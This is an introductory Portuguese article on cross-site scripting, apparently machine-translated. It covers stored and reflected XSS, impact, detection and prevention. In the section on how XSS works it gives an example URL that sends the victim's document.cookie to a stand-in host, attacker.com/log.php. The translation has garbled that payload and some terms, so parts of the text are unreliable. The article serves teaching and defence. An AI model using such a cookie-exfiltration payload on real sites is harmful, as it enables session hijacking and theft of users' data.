Introdução ao Cross Site Scripting

  • Com o crescente número de aplicativos da Web na Internet, a segurança na Web tornou-se uma preocupação importante. Agora, é comum invadir e roubar dados privados de usuários, ameaçando-os de usar qualquer aplicativo. O script entre sites é um dos ataques populares à segurança da web dos usuários. Vamos ter uma ideia do que é a criação de scripts entre sites.
  • O Cross Site Scripting, denominado XSS, é uma vulnerabilidade de segurança do computador na qual o invasor pretende adicionar algum código malicioso na forma de scripts a um site / página da Web confiável. É um ataque de injeção de código do lado do cliente e o script malicioso é executado no navegador da web do usuário quando ele acessa esse site / página da web. Indiretamente, esse site se torna um meio de enviar o código malicioso ao usuário. Ao injetar scripts, os atacantes ignoram o DOM (Document Object Model) das restrições de segurança e obtêm acesso ao conteúdo da página sensível do usuário, cookies de sessão, histórico de navegação na maioria dos dados privados mantidos pelo navegador.
  • Os sites que contêm fóruns, quadros de mensagens, páginas da Web que permitem comentários e aqueles que usam entrada não autorizada do usuário e a saída gerada são os mais vulneráveis ​​a ataques XSS. Embora os ataques XSS sejam possíveis em VBScript, ActiveX e CSS, eles são mais comuns em Javascript, pois são fundamentais para a maioria das experiências de navegação.

Diferentes tipos de Cross Site Scripting (XSS)

Embora não exista uma classificação específica de Cross Site Scripting, alguns especialistas a classificaram em dois tipos que são discutidos abaixo em detalhes:

Ataques XSS armazenados :

  • XSS armazenado é aquele em que o script mal-intencionado injetado pelo invasor é armazenado no banco de dados e executado no navegador do usuário quando ele tenta acessar o banco de dados de alguma forma. Eles também são conhecidos como XSS persistente ou armazenado. Este é um dos ataques mais devastadores e ocorre especialmente quando o site / página da web permite comentar ou permite a incorporação de conteúdo HTML.
  • O invasor adiciona o javascript no comentário que é armazenado no banco de dados e quando o usuário acessa a página afetada, recuperando os dados do banco de dados que o script malicioso executa em seu navegador e esse invasor obtém acesso não autorizado aos dados privados do usuário.
  • Por exemplo, em um site de comércio eletrônico como o Olx, que possui uma caixa de mensagens não autorizada para descrição do produto, um invasor sendo o vendedor do produto adiciona o javascript malicioso nele e ele será armazenado no banco de dados do site.
  • Quando o comprador abrir a descrição do produto para visualizar os detalhes do produto, ele se tornará a vítima à medida que o script for executado em seu navegador da Web e todos os detalhes do usuário que o navegador permitir serão invadidos.

Procedimento Ataques XSS:

  • Essa é uma das maneiras mais comuns pelas quais um invasor pode causar um ataque XSS ao usuário. Basicamente, nos ataques do Procedimento XSS, o atacante tem como alvo a vítima enviando um email, um link malicioso ou anexando uma sequência no resultado da pesquisa que aponta para um site confiável, mas contém o código javascript malicioso.
  • Se uma vítima clicar nesse URL, inicia a solicitação HTTP e envia uma solicitação para o aplicativo Web vulnerável. A solicitação retorna à vítima com uma resposta do código javascript incorporado que o navegador executa, considerando que é proveniente de um site confiável, resultando no seqüestro dos dados confidenciais do navegador.
  • Por exemplo, em um site de comércio eletrônico, há uma caixa de pesquisa na qual um usuário pode pesquisar os itens e a sequência escrita na caixa de pesquisa fica visível no URL do site quando a solicitação de pesquisa é enviada ao servidor.
  • O invasor cria um link no qual o script malicioso é concatenado na URL e o envia à vítima por email. Quando a vítima abre esse link, a solicitação é enviada para o site malicioso do atacante e todos os dados do navegador da vítima são seqüestrados e enviados para o sistema do atacante.

Como o XSS (Cross Site Scripting) funciona?

  • Na vulnerabilidade de Cross Site Scripting (XSS), o principal motivo do invasor é roubar os dados do usuário executando o script malicioso em seu navegador, que é injetado no conteúdo do site que o usuário está usando por diferentes meios.
  • Por exemplo, quando um usuário procura algum texto em um site, a solicitação é enviada ao servidor no formato:

https://www.abcwebsite.com/search?q=text1

No resultado da pesquisa, o site retorna o resultado junto com o que o usuário pesquisou:

Você procurou por: text1

Se a funcionalidade de pesquisa estiver vulnerável ao XSS, o invasor poderá adicionar o script mal-intencionado no URL:

https://www.abcwebsite.com/search= local do documento = https: //attacker.com/log.php? c = '+ encodeURIComponent (document.cookie)
  • Quando a vítima clica nesse link, ela é redirecionada para o site malicioso, por exemplo, https://attacker.com e todos os dados do navegador são enviados diretamente para o computador do invasor, resultando no roubo de todos os tokens / cookies da sessão.
  • Dessa maneira, um invasor injeta seu script mal-intencionado no URL, o Attacker também pode armazenar esse script no servidor que vem sob o XSS armazenado.

Impacto das vulnerabilidades de script entre sites:

O impacto da criação de scripts entre sites varia muito. Depois de explorar a vulnerabilidade XSS, um invasor obtém controle total do navegador da vítima e pode executar ações diferentes que variam de pequenas, como a visualização do histórico do navegador, a desastrosas, como a inserção de worms no computador.

Algumas das ações que o invasor pode executar explorando a vulnerabilidade XSS são as seguintes:

  1. Vazamento de informações confidenciais, como nome de usuário e senha.
  2. Inserindo worms no computador.
  3. Redirecionando o usuário para um site perigoso e forçando a executar algumas ações
  4. Acesse o histórico de navegação da vítima.
  5. Instalação do programa cavalo de Tróia.
  6. Forçar o usuário a executar e modificar os valores no aplicativo, obtendo acesso sobre

Localizando vulnerabilidades de script entre sites:

  • As vulnerabilidades do XSS ocorrem por dois motivos: a entrada do usuário não é validada antes de enviá-la ao servidor ou a saída recebida no navegador não é codificada em HTML. Tendo em mente o impacto desastroso da vulnerabilidade do XSS e a proteção da privacidade dos usuários, é muito importante descobrir se o aplicativo da Web é vulnerável ao XSS ou não.
  • Embora seja difícil identificar e remover o XSS, a melhor maneira de verificar é executar a revisão de segurança do código e verificar todos os locais onde a entrada da solicitação HTTP pode ser exibida como Saída em um aplicativo. O uso das ferramentas automáticas de varredura de vulnerabilidades, que incluem o módulo especializado de varredor XSS para varrer todo o aplicativo Web, também pode ajudar na varredura e na localização das vulnerabilidades em um aplicativo.

Como impedir o XSS?

  • XSS é uma vulnerabilidade de injeção de código, portanto, é muito importante codificar os dados que são enviados para o servidor e os dados que vêm do servidor para o navegador de um usuário.
  • A validação de dados também é muito importante para que o navegador interprete o código sem nenhum comando malicioso. Diferentes métodos de prevenção foram introduzidos, mantendo a Validação e Codificação de dados como uma prioridade para um site ser vulnerável ao XSS.

Alguns pontos precisam ser focados para evitar o XSS: -

  1. O suporte ao rastreamento de HTTP em todos os servidores da Web deve ser desativado, pois o invasor pode roubar os cookies e os dados do navegador privado por meio de uma chamada de rastreamento HTTP do servidor, mesmo que o document.cookie esteja desativado no navegador da vítima.
  2. Os desenvolvedores devem higienizar a entrada e nunca devem produzir os dados recebidos diretamente do usuário sem validá-los.
  3. Geralmente, os links não devem ser permitidos se não começarem com os protocolos da lista de permissões, como HTTP: //, https: //, impedindo o uso de esquemas de URI, como javascript: //

Conclusão:

Os ataques XSS são perigosos e podem prejudicar a privacidade do usuário e roubar os dados, a menos que o usuário normal navegue com cuidado no aplicativo. Portanto, os desenvolvedores durante o desenvolvimento do aplicativo devem seguir as rígidas regras de segurança, especialmente para dados e servidor, para que o aplicativo seja menos vulnerável ao XSS e mais usuários possam confiar nele.

Artigos recomendados

Este foi um guia para O que são scripts entre sites? Aqui discutimos os diferentes tipos de site cruzado, trabalho, impacto e prevenção do XSS, respectivamente. Você também pode consultar nossos outros artigos sugeridos para saber mais -

  1. Como funciona o JavaScript
  2. O que é um ataque de phishing?
  3. O que é um ataque cibernético?
  4. Cache de HTTP
  5. Como os Cookies funcionam em JavaScript com o Exemplo?